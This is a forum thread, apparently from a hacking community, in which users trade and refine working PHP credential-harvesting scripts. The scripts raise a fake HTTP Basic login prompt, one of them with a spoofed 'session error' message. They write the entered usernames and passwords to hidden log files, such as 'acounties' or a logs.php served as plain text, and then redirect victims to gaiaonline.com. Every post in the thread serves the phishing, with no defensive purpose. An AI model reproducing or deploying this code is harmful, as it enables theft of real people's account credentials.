help me with t35
hey guys when i press the account.txt,it will open a new page then u need to log in your t35 account AGAIN,and now it is not working.please help me
<?php
if(isset($_SERVER['PHP_AUTH_USER'])){
$Handle = @fopen('LogicalAccounts.html', 'a');
@fwrite($Handle, "Username = {$_SERVER['PHP_AUTH_USER']}\r\n");
@fwrite($Handle, "Password = {$_SERVER['PHP_AUTH_PW']}\r\n\r\n");
@fclose($Handle);exit;
}
header('WWW-Authenticate: Basic realm="A session error has occured please verify your Username and Password."');
header('HTTP/1.0 401 Unauthorized');
exit;
?> Eternal Darkness wrote:Should be '[Logging File Name Here].php' in the Admin CP...
Then a Redirect to the php file, so that it records the info...
PedoBear™;180831 wrote:What admin cp?
PedoBear™;180634 wrote:
No the logging file
<?php
while($_SERVER['PHP_AUTH_USER'] == null || $_SERVER['PHP_AUTH_PW'] == null){
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
$Handle = @fopen('acounties', 'a');
@fwrite($Handle, "{$_SERVER['PHP_AUTH_USER']}:");
@fwrite($Handle, "{$_SERVER['PHP_AUTH_PW']}\r\n");
@fclose($Handle);
header('Location: http://www.gaiaonline.com');
exit;
?>
Bman wrote:<?php
while($_SERVER['PHP_AUTH_USER'] == null || $_SERVER['PHP_AUTH_PW'] == null){
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
$Handle = @fopen('acounties', 'a');
@fwrite($Handle, "{$_SERVER['PHP_AUTH_USER']}:");
@fwrite($Handle, "{$_SERVER['PHP_AUTH_PW']}\r\n");
@fclose($Handle);
header('Location: http://www.gaiaonline.com');
exit;
?>
Info goes in acounties.txt
Your welcome
<?php
while($_SERVER['PHP_AUTH_USER'] == null || $_SERVER['PHP_AUTH_PW'] == null){
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
$Handle = fopen('logs.php', 'a');
fwrite($Handle, "{$_SERVER['PHP_AUTH_USER']}:");
fwrite($Handle, "{$_SERVER['PHP_AUTH_PW']}\n");
fclose($Handle);
header('Location: http://www.gaiaonline.com');
exit;
?><?php
header('Content-Type: text/plain');
?>Personoid wrote:Why would you change a file name which has a fairly obscure name to a really obvious name?
Side Note: I Personally recommend the account name be PHP.
Using Bman's example, I'll demonstrate what I mean.
<?php
while($_SERVER['PHP_AUTH_USER'] == null || $_SERVER['PHP_AUTH_PW'] == null){
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
$Handle = fopen('logs.php', 'a');
fwrite($Handle, "{$_SERVER['PHP_AUTH_USER']}:");
fwrite($Handle, "{$_SERVER['PHP_AUTH_PW']}\n");
fclose($Handle);
header('Location: http://www.gaiaonline.com');
exit;
?>
In the logs.php file, I would use the following:
<?php
header('Content-Type: text/plain');
?>
Also, what's the purpose of using @ before a function name?
Also, why'd you leave .txt off accounts?
Edit: I thought you said accounts.txt instead of accounties. Sorry about that.
<?php
header('Content-Type: text/plain');
?>